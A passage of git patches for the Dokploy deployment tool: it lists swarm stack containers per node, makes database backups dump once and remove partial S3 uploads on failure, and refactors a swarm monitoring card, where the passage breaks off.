Date: Sun, 9 Aug 2026 11:37:19 -0600
Subject: [PATCH 110/419] fix: list stack containers across swarm nodes via
docker stack ps
---
.../containers/show-compose-containers.tsx | 184 ++++++++++--------
.../dashboard/compose/logs/show-stack.tsx | 4 +-
packages/server/src/services/docker.ts | 64 +++++-
3 files changed, 165 insertions(+), 87 deletions(-)
diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
index 460223fa5..18ff35738 100644
--- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
+++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
Name
State
Status
+ {appType === "stack" && Node }
Container ID
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
{data.map((container) => (
refetch()}
@@ -143,7 +145,9 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
+ node?: string;
};
+ appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
@@ -151,6 +155,7 @@ interface ContainerRowProps {
const ContainerRow = ({
container,
+ appType,
serverId,
serviceId,
onActionComplete,
@@ -192,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
- : container.state === "exited"
+ : [
+ "exited",
+ "pending",
+ "preparing",
+ "starting",
+ "ready",
+ ].includes(container.state)
? "secondary"
: "destructive"
}
@@ -201,96 +212,99 @@ const ContainerRow = ({
{container.status}
+ {appType === "stack" && {container.node || "-"} }
- {container.containerId}
+ {container.containerId || "-"}
-
-
-
-
- {actionLoading ? (
-
- ) : (
-
- )}
-
-
-
- Actions
-
+ {!container.containerId ? null : (
+
+
+
+
+ {actionLoading ? (
+
+ ) : (
+
+ )}
+
+
+
+ Actions
+
+ e.preventDefault()}
+ >
+ View Logs
+
+
+
+
+
+
+ Terminal
+
+
e.preventDefault()}
+ disabled={actionLoading !== null}
+ onClick={() => handleAction("restart", restartMutation)}
>
- View Logs
+ Restart
-
-
-
-
-
- Terminal
-
-
- handleAction("restart", restartMutation)}
- >
- Restart
-
- handleAction("start", startMutation)}
- >
- Start
-
- handleAction("stop", stopMutation)}
- >
- Stop
-
- handleAction("kill", killMutation)}
- >
- Kill
-
-
-
-
-
- View Logs
- Logs for {container.name}
-
-
-
-
-
-
+ handleAction("start", startMutation)}
+ >
+ Start
+
+ handleAction("stop", stopMutation)}
+ >
+ Stop
+
+ handleAction("kill", killMutation)}
+ >
+ Kill
+
+
+
+
+
+ View Logs
+ Logs for {container.name}
+
+
+
+
+
+
+ )}
);
diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
index 23bb4536d..a7b4d3014 100644
--- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
},
);
- const { data: containers, isPending: containersLoading } =
+ const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
},
);
+ const containers = data?.filter((container) => container.containerId);
+
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
diff --git a/packages/server/src/services/docker.ts b/packages/server/src/services/docker.ts
index ea200e0c0..e95a84392 100644
--- a/packages/server/src/services/docker.ts
+++ b/packages/server/src/services/docker.ts
@@ -108,6 +108,9 @@ export const getContainersByAppNameMatch = async (
serverId?: string,
) => {
try {
+ if (appType === "stack") {
+ return await getStackTaskContainers(appName, serverId);
+ }
let result: string[] = [];
const cmd =
"docker ps -a --format 'CONTAINER ID : {{.ID}} | Name: {{.Names}} | State: {{.State}} | Status: {{.Status}}'";
@@ -166,6 +169,66 @@ export const getContainersByAppNameMatch = async (
return [];
};
+const getStackTaskContainers = async (appName: string, serverId?: string) => {
+ try {
+ const divider = "__DOKPLOY_DIVIDER__";
+ const tasksCommand = `docker stack ps ${appName} --no-trunc --filter "desired-state=running" --format 'TASK : {{.ID}} | Name: {{.Name}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`;
+ const inspectCommand = `docker stack ps ${appName} -q --no-trunc --filter "desired-state=running" | xargs -r docker inspect --format '{{if .Status.ContainerStatus}}TASK : {{.ID}} | ContainerId: {{.Status.ContainerStatus.ContainerID}}{{end}}' 2>/dev/null`;
+ const command = `${tasksCommand} && echo "${divider}" && (${inspectCommand} || true)`;
+
+ let stdout = "";
+
+ if (serverId) {
+ const result = await execAsyncRemote(serverId, command);
+ stdout = result.stdout;
+ } else {
+ const result = await execAsync(command);
+ stdout = result.stdout;
+ }
+
+ if (!stdout) return [];
+
+ const [tasksSection = "", inspectSection = ""] = stdout.split(divider);
+
+ const containerIdByTask = new Map();
+ for (const line of inspectSection.trim().split("\n")) {
+ const parts = line.split(" | ");
+ const taskId = parts[0]?.replace("TASK : ", "").trim();
+ const containerId = parts[1]?.replace("ContainerId: ", "").trim();
+ if (taskId && containerId) {
+ containerIdByTask.set(taskId, containerId);
+ }
+ }
+
+ const containers = [];
+
+ for (const line of tasksSection.trim().split("\n")) {
+ if (!line) continue;
+ const parts = line.split(" | ");
+ const taskId = parts[0]?.replace("TASK : ", "").trim() ?? "";
+ const name = parts[1]?.replace("Name: ", "").trim() ?? "";
+ const node = parts[2]?.replace("Node: ", "").trim() ?? "";
+ const currentState = parts[3]
+ ? parts[3].replace("CurrentState: ", "").trim()
+ : "";
+ const error = parts[4] ? parts[4].replace("Error: ", "").trim() : "";
+ const containerId = containerIdByTask.get(taskId) ?? "";
+
+ containers.push({
+ containerId: containerId.slice(0, 12),
+ name: `${name}.${taskId}`,
+ node,
+ state: currentState.split(" ")[0]?.toLowerCase() ?? "No state",
+ status: error ? `${currentState} (${error})` : currentState,
+ });
+ }
+
+ return containers;
+ } catch {}
+
+ return [];
+};
+
export const getStackContainersByAppName = async (
appName: string,
serverId?: string,
@@ -175,7 +238,6 @@ export const getStackContainersByAppName = async (
const command = `docker stack ps ${appName} --no-trunc --format 'CONTAINER ID : {{.ID}} | Name: {{.Name}} | State: {{.DesiredState}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`;
- console.log("command ", command);
if (serverId) {
const { stdout, stderr } = await execAsyncRemote(serverId, command);
From 692c68f013c88a80d19c766526232257fad3ae04 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 9 Aug 2026 11:38:00 -0600
Subject: [PATCH 111/419] Merge pull request #5024 from
Dokploy/fix/stack-containers-worker-nodes-4520
fix: show stack containers running on worker nodes
(cherry picked from commit b7db28408d35e842bf4e25d69f8ee71620458a24)
[skip ci]
---
.../containers/show-compose-containers.tsx | 184 ++++++++++--------
.../dashboard/compose/logs/show-stack.tsx | 4 +-
packages/server/src/services/docker.ts | 64 +++++-
3 files changed, 165 insertions(+), 87 deletions(-)
diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
index 460223fa5..18ff35738 100644
--- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
+++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
Name
State
Status
+ {appType === "stack" && Node }
Container ID
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
{data.map((container) => (
refetch()}
@@ -143,7 +145,9 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
+ node?: string;
};
+ appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
@@ -151,6 +155,7 @@ interface ContainerRowProps {
const ContainerRow = ({
container,
+ appType,
serverId,
serviceId,
onActionComplete,
@@ -192,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
- : container.state === "exited"
+ : [
+ "exited",
+ "pending",
+ "preparing",
+ "starting",
+ "ready",
+ ].includes(container.state)
? "secondary"
: "destructive"
}
@@ -201,96 +212,99 @@ const ContainerRow = ({
{container.status}
+ {appType === "stack" && {container.node || "-"} }
- {container.containerId}
+ {container.containerId || "-"}
-
-
-
-
- {actionLoading ? (
-
- ) : (
-
- )}
-
-
-
- Actions
-
+ {!container.containerId ? null : (
+
+
+
+
+ {actionLoading ? (
+
+ ) : (
+
+ )}
+
+
+
+ Actions
+
+ e.preventDefault()}
+ >
+ View Logs
+
+
+
+
+
+
+ Terminal
+
+
e.preventDefault()}
+ disabled={actionLoading !== null}
+ onClick={() => handleAction("restart", restartMutation)}
>
- View Logs
+ Restart
-
-
-
-
-
- Terminal
-
-
- handleAction("restart", restartMutation)}
- >
- Restart
-
- handleAction("start", startMutation)}
- >
- Start
-
- handleAction("stop", stopMutation)}
- >
- Stop
-
- handleAction("kill", killMutation)}
- >
- Kill
-
-
-
-
-
- View Logs
- Logs for {container.name}
-
-
-
-
-
-
+ handleAction("start", startMutation)}
+ >
+ Start
+
+ handleAction("stop", stopMutation)}
+ >
+ Stop
+
+ handleAction("kill", killMutation)}
+ >
+ Kill
+
+
+
+
+
+ View Logs
+ Logs for {container.name}
+
+
+
+
+
+
+ )}
);
diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
index 23bb4536d..a7b4d3014 100644
--- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
},
);
- const { data: containers, isPending: containersLoading } =
+ const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
},
);
+ const containers = data?.filter((container) => container.containerId);
+
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
diff --git a/packages/server/src/services/docker.ts b/packages/server/src/services/docker.ts
index ea200e0c0..e95a84392 100644
--- a/packages/server/src/services/docker.ts
+++ b/packages/server/src/services/docker.ts
@@ -108,6 +108,9 @@ export const getContainersByAppNameMatch = async (
serverId?: string,
) => {
try {
+ if (appType === "stack") {
+ return await getStackTaskContainers(appName, serverId);
+ }
let result: string[] = [];
const cmd =
"docker ps -a --format 'CONTAINER ID : {{.ID}} | Name: {{.Names}} | State: {{.State}} | Status: {{.Status}}'";
@@ -166,6 +169,66 @@ export const getContainersByAppNameMatch = async (
return [];
};
+const getStackTaskContainers = async (appName: string, serverId?: string) => {
+ try {
+ const divider = "__DOKPLOY_DIVIDER__";
+ const tasksCommand = `docker stack ps ${appName} --no-trunc --filter "desired-state=running" --format 'TASK : {{.ID}} | Name: {{.Name}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`;
+ const inspectCommand = `docker stack ps ${appName} -q --no-trunc --filter "desired-state=running" | xargs -r docker inspect --format '{{if .Status.ContainerStatus}}TASK : {{.ID}} | ContainerId: {{.Status.ContainerStatus.ContainerID}}{{end}}' 2>/dev/null`;
+ const command = `${tasksCommand} && echo "${divider}" && (${inspectCommand} || true)`;
+
+ let stdout = "";
+
+ if (serverId) {
+ const result = await execAsyncRemote(serverId, command);
+ stdout = result.stdout;
+ } else {
+ const result = await execAsync(command);
+ stdout = result.stdout;
+ }
+
+ if (!stdout) return [];
+
+ const [tasksSection = "", inspectSection = ""] = stdout.split(divider);
+
+ const containerIdByTask = new Map();
+ for (const line of inspectSection.trim().split("\n")) {
+ const parts = line.split(" | ");
+ const taskId = parts[0]?.replace("TASK : ", "").trim();
+ const containerId = parts[1]?.replace("ContainerId: ", "").trim();
+ if (taskId && containerId) {
+ containerIdByTask.set(taskId, containerId);
+ }
+ }
+
+ const containers = [];
+
+ for (const line of tasksSection.trim().split("\n")) {
+ if (!line) continue;
+ const parts = line.split(" | ");
+ const taskId = parts[0]?.replace("TASK : ", "").trim() ?? "";
+ const name = parts[1]?.replace("Name: ", "").trim() ?? "";
+ const node = parts[2]?.replace("Node: ", "").trim() ?? "";
+ const currentState = parts[3]
+ ? parts[3].replace("CurrentState: ", "").trim()
+ : "";
+ const error = parts[4] ? parts[4].replace("Error: ", "").trim() : "";
+ const containerId = containerIdByTask.get(taskId) ?? "";
+
+ containers.push({
+ containerId: containerId.slice(0, 12),
+ name: `${name}.${taskId}`,
+ node,
+ state: currentState.split(" ")[0]?.toLowerCase() ?? "No state",
+ status: error ? `${currentState} (${error})` : currentState,
+ });
+ }
+
+ return containers;
+ } catch {}
+
+ return [];
+};
+
export const getStackContainersByAppName = async (
appName: string,
serverId?: string,
@@ -175,7 +238,6 @@ export const getStackContainersByAppName = async (
const command = `docker stack ps ${appName} --no-trunc --format 'CONTAINER ID : {{.ID}} | Name: {{.Name}} | State: {{.DesiredState}} | Node: {{.Node}} | CurrentState: {{.CurrentState}} | Error: {{.Error}}'`;
- console.log("command ", command);
if (serverId) {
const { stdout, stderr } = await execAsyncRemote(serverId, command);
From f633d4b0a35a9b099f5a632b1bc485c726be846b Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Sun, 9 Aug 2026 12:10:13 -0600
Subject: [PATCH 112/419] fix: run database dump once per backup and clean up
partial uploads on failure
---
packages/server/src/utils/backups/compose.ts | 5 ++--
packages/server/src/utils/backups/libsql.ts | 6 ++--
packages/server/src/utils/backups/mariadb.ts | 5 ++--
packages/server/src/utils/backups/mongo.ts | 5 ++--
packages/server/src/utils/backups/mysql.ts | 6 ++--
packages/server/src/utils/backups/postgres.ts | 6 ++--
packages/server/src/utils/backups/utils.ts | 28 ++++++++-----------
7 files changed, 23 insertions(+), 38 deletions(-)
diff --git a/packages/server/src/utils/backups/compose.ts b/packages/server/src/utils/backups/compose.ts
index 296498ff3..7a5ba5535 100644
--- a/packages/server/src/utils/backups/compose.ts
+++ b/packages/server/src/utils/backups/compose.ts
@@ -37,11 +37,10 @@ export const runComposeBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (compose.serverId) {
diff --git a/packages/server/src/utils/backups/libsql.ts b/packages/server/src/utils/backups/libsql.ts
index 7f6c85f48..c4ece6ed6 100644
--- a/packages/server/src/utils/backups/libsql.ts
+++ b/packages/server/src/utils/backups/libsql.ts
@@ -36,12 +36,10 @@ export const runLibsqlBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (libsql.serverId) {
diff --git a/packages/server/src/utils/backups/mariadb.ts b/packages/server/src/utils/backups/mariadb.ts
index 121910ee8..4a3f7dc26 100644
--- a/packages/server/src/utils/backups/mariadb.ts
+++ b/packages/server/src/utils/backups/mariadb.ts
@@ -35,11 +35,10 @@ export const runMariadbBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (mariadb.serverId) {
diff --git a/packages/server/src/utils/backups/mongo.ts b/packages/server/src/utils/backups/mongo.ts
index 4b212d70c..6b80ccc86 100644
--- a/packages/server/src/utils/backups/mongo.ts
+++ b/packages/server/src/utils/backups/mongo.ts
@@ -32,11 +32,10 @@ export const runMongoBackup = async (mongo: Mongo, backup: BackupSchedule) => {
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
diff --git a/packages/server/src/utils/backups/mysql.ts b/packages/server/src/utils/backups/mysql.ts
index 8d0e6188a..2ac9228be 100644
--- a/packages/server/src/utils/backups/mysql.ts
+++ b/packages/server/src/utils/backups/mysql.ts
@@ -33,12 +33,10 @@ export const runMySqlBackup = async (mysql: MySql, backup: BackupSchedule) => {
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
diff --git a/packages/server/src/utils/backups/postgres.ts b/packages/server/src/utils/backups/postgres.ts
index e57682f39..de7ef5500 100644
--- a/packages/server/src/utils/backups/postgres.ts
+++ b/packages/server/src/utils/backups/postgres.ts
@@ -36,12 +36,10 @@ export const runPostgresBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (postgres.serverId) {
diff --git a/packages/server/src/utils/backups/utils.ts b/packages/server/src/utils/backups/utils.ts
index dba843956..4253a3876 100644
--- a/packages/server/src/utils/backups/utils.ts
+++ b/packages/server/src/utils/backups/utils.ts
@@ -259,11 +259,14 @@ export const generateBackupCommand = (backup: BackupSchedule) => {
export const getBackupCommand = (
backup: BackupSchedule,
- rcloneCommand: string,
+ rcloneFlags: string[],
+ rcloneDestination: string,
logPath: string,
) => {
const containerSearch = getContainerSearchCommand(backup);
const backupCommand = generateBackupCommand(backup);
+ const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
+ const rcloneDeleteCommand = `rclone deletefile ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
logger.info(
{
@@ -279,33 +282,24 @@ export const getBackupCommand = (
set -eo pipefail;
echo "[$(date)] Starting backup process..." >> ${logPath};
echo "[$(date)] Executing backup command..." >> ${logPath};
- CONTAINER_ID=$(${containerSearch})
+ CONTAINER_ID=$(${containerSearch});
if [ -z "$CONTAINER_ID" ]; then
echo "[$(date)] ❌ Error: Container not found" >> ${logPath};
exit 1;
- fi
+ fi;
echo "[$(date)] Container Up: $CONTAINER_ID" >> ${logPath};
+ echo "[$(date)] Starting backup and upload to S3..." >> ${logPath};
- # Run the backup command and capture the exit status
- BACKUP_OUTPUT=$(${backupCommand} 2>&1 >/dev/null) || {
+ UPLOAD_OUTPUT=$({ ${backupCommand} | ${rcloneCommand}; } 2>&1 >/dev/null) || {
echo "[$(date)] ❌ Error: Backup failed" >> ${logPath};
- echo "Error: $BACKUP_OUTPUT" >> ${logPath};
- exit 1;
- }
-
- echo "[$(date)] ✅ backup completed successfully" >> ${logPath};
- echo "[$(date)] Starting upload to S3..." >> ${logPath};
-
- # Run the upload command and capture the exit status
- UPLOAD_OUTPUT=$(${backupCommand} | ${rcloneCommand} 2>&1 >/dev/null) || {
- echo "[$(date)] ❌ Error: Upload to S3 failed" >> ${logPath};
echo "Error: $UPLOAD_OUTPUT" >> ${logPath};
+ ${rcloneDeleteCommand} >/dev/null 2>&1 || true;
exit 1;
- }
+ };
- echo "[$(date)] ✅ Upload to S3 completed successfully" >> ${logPath};
+ echo "[$(date)] ✅ Backup uploaded to S3 successfully" >> ${logPath};
echo "Backup done ✅" >> ${logPath};
`;
};
From bd92dfb8c14f0714da5b61889ec21926bc643bf4 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sun, 9 Aug 2026 12:11:28 -0600
Subject: [PATCH 113/419] Merge pull request #5025 from
Dokploy/fix/backup-double-dump-4222
fix: run database dump once per backup and clean up partial uploads on failure
(cherry picked from commit 4791863ff97ae2a6f8465d4ef10735cd8371efa1)
[skip ci]
---
packages/server/src/utils/backups/compose.ts | 5 ++--
packages/server/src/utils/backups/libsql.ts | 6 ++--
packages/server/src/utils/backups/mariadb.ts | 5 ++--
packages/server/src/utils/backups/mongo.ts | 5 ++--
packages/server/src/utils/backups/mysql.ts | 6 ++--
packages/server/src/utils/backups/postgres.ts | 6 ++--
packages/server/src/utils/backups/utils.ts | 28 ++++++++-----------
7 files changed, 23 insertions(+), 38 deletions(-)
diff --git a/packages/server/src/utils/backups/compose.ts b/packages/server/src/utils/backups/compose.ts
index 296498ff3..7a5ba5535 100644
--- a/packages/server/src/utils/backups/compose.ts
+++ b/packages/server/src/utils/backups/compose.ts
@@ -37,11 +37,10 @@ export const runComposeBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (compose.serverId) {
diff --git a/packages/server/src/utils/backups/libsql.ts b/packages/server/src/utils/backups/libsql.ts
index 7f6c85f48..c4ece6ed6 100644
--- a/packages/server/src/utils/backups/libsql.ts
+++ b/packages/server/src/utils/backups/libsql.ts
@@ -36,12 +36,10 @@ export const runLibsqlBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (libsql.serverId) {
diff --git a/packages/server/src/utils/backups/mariadb.ts b/packages/server/src/utils/backups/mariadb.ts
index 121910ee8..4a3f7dc26 100644
--- a/packages/server/src/utils/backups/mariadb.ts
+++ b/packages/server/src/utils/backups/mariadb.ts
@@ -35,11 +35,10 @@ export const runMariadbBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (mariadb.serverId) {
diff --git a/packages/server/src/utils/backups/mongo.ts b/packages/server/src/utils/backups/mongo.ts
index 4b212d70c..6b80ccc86 100644
--- a/packages/server/src/utils/backups/mongo.ts
+++ b/packages/server/src/utils/backups/mongo.ts
@@ -32,11 +32,10 @@ export const runMongoBackup = async (mongo: Mongo, backup: BackupSchedule) => {
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
diff --git a/packages/server/src/utils/backups/mysql.ts b/packages/server/src/utils/backups/mysql.ts
index 8d0e6188a..2ac9228be 100644
--- a/packages/server/src/utils/backups/mysql.ts
+++ b/packages/server/src/utils/backups/mysql.ts
@@ -33,12 +33,10 @@ export const runMySqlBackup = async (mysql: MySql, backup: BackupSchedule) => {
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
diff --git a/packages/server/src/utils/backups/postgres.ts b/packages/server/src/utils/backups/postgres.ts
index e57682f39..de7ef5500 100644
--- a/packages/server/src/utils/backups/postgres.ts
+++ b/packages/server/src/utils/backups/postgres.ts
@@ -36,12 +36,10 @@ export const runPostgresBackup = async (
try {
const rcloneFlags = getS3Credentials(destination);
const rcloneDestination = `:s3:${destination.bucket}/${bucketDestination}`;
-
- const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
-
const backupCommand = getBackupCommand(
backup,
- rcloneCommand,
+ rcloneFlags,
+ rcloneDestination,
deployment.logPath,
);
if (postgres.serverId) {
diff --git a/packages/server/src/utils/backups/utils.ts b/packages/server/src/utils/backups/utils.ts
index dba843956..4253a3876 100644
--- a/packages/server/src/utils/backups/utils.ts
+++ b/packages/server/src/utils/backups/utils.ts
@@ -259,11 +259,14 @@ export const generateBackupCommand = (backup: BackupSchedule) => {
export const getBackupCommand = (
backup: BackupSchedule,
- rcloneCommand: string,
+ rcloneFlags: string[],
+ rcloneDestination: string,
logPath: string,
) => {
const containerSearch = getContainerSearchCommand(backup);
const backupCommand = generateBackupCommand(backup);
+ const rcloneCommand = `rclone rcat ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
+ const rcloneDeleteCommand = `rclone deletefile ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
logger.info(
{
@@ -279,33 +282,24 @@ export const getBackupCommand = (
set -eo pipefail;
echo "[$(date)] Starting backup process..." >> ${logPath};
echo "[$(date)] Executing backup command..." >> ${logPath};
- CONTAINER_ID=$(${containerSearch})
+ CONTAINER_ID=$(${containerSearch});
if [ -z "$CONTAINER_ID" ]; then
echo "[$(date)] ❌ Error: Container not found" >> ${logPath};
exit 1;
- fi
+ fi;
echo "[$(date)] Container Up: $CONTAINER_ID" >> ${logPath};
+ echo "[$(date)] Starting backup and upload to S3..." >> ${logPath};
- # Run the backup command and capture the exit status
- BACKUP_OUTPUT=$(${backupCommand} 2>&1 >/dev/null) || {
+ UPLOAD_OUTPUT=$({ ${backupCommand} | ${rcloneCommand}; } 2>&1 >/dev/null) || {
echo "[$(date)] ❌ Error: Backup failed" >> ${logPath};
- echo "Error: $BACKUP_OUTPUT" >> ${logPath};
- exit 1;
- }
-
- echo "[$(date)] ✅ backup completed successfully" >> ${logPath};
- echo "[$(date)] Starting upload to S3..." >> ${logPath};
-
- # Run the upload command and capture the exit status
- UPLOAD_OUTPUT=$(${backupCommand} | ${rcloneCommand} 2>&1 >/dev/null) || {
- echo "[$(date)] ❌ Error: Upload to S3 failed" >> ${logPath};
echo "Error: $UPLOAD_OUTPUT" >> ${logPath};
+ ${rcloneDeleteCommand} >/dev/null 2>&1 || true;
exit 1;
- }
+ };
- echo "[$(date)] ✅ Upload to S3 completed successfully" >> ${logPath};
+ echo "[$(date)] ✅ Backup uploaded to S3 successfully" >> ${logPath};
echo "Backup done ✅" >> ${logPath};
`;
};
From 8637acb56c26b4c987d5fc20a071291fb52d227e Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Sun, 9 Aug 2026 12:28:22 -0600
Subject: [PATCH 114/419] refactor: simplify SwarmMonitorCard logic and update
dashboard structure
- Refactored SwarmMonitorCard to use optional chaining for node data handling.
- Consolidated loading and error states into a single conditional rendering block.
- Updated dashboard layout to include tabs for containers and swarm, enhancing navigation.
- Removed deprecated network-related code from the dashboard.
---
.../dashboard/swarm/monitoring-card.tsx | 237 +++++++++---------
apps/dokploy/components/layouts/side.tsx | 24 --
apps/dokploy/pages/dashboard/docker.tsx | 64 ++++-
apps/dokploy/pages/dashboard/networks.tsx | 94 +------
apps/dokploy/pages/dashboard/swarm.tsx | 99 +-------
5 files changed, 201 insertions(+), 317 deletions(-)
diff --git a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx
index 9c6d196ad..01ee03e80 100644
--- a/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx
+++ b/apps/dokploy/components/dashboard/swarm/monitoring-card.tsx
@@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
serverId,
});
- if (isPending) {
- return (
-
-
- {/*
*/}
-
-
- Loading...
-
-
- {/*
*/}
-
-
- );
- }
-
- if (!nodes) {
- return (
-
-
-
- Failed to load data
-
-
-
- );
- }
-
- const totalNodes = nodes.length;
- const activeNodesCount = nodes.filter(
- (node) => node.Status === "Ready",
- ).length;
- const managerNodesCount = nodes.filter(
- (node) =>
- node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
- ).length;
- const activeNodes = nodes.filter((node) => node.Status === "Ready");
- const managerNodes = nodes.filter(
- (node) =>
- node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
- );
+ const totalNodes = nodes?.length ?? 0;
+ const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
+ const managerNodes =
+ nodes?.filter(
+ (node) =>
+ node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
+ ) ?? [];
return (
-
+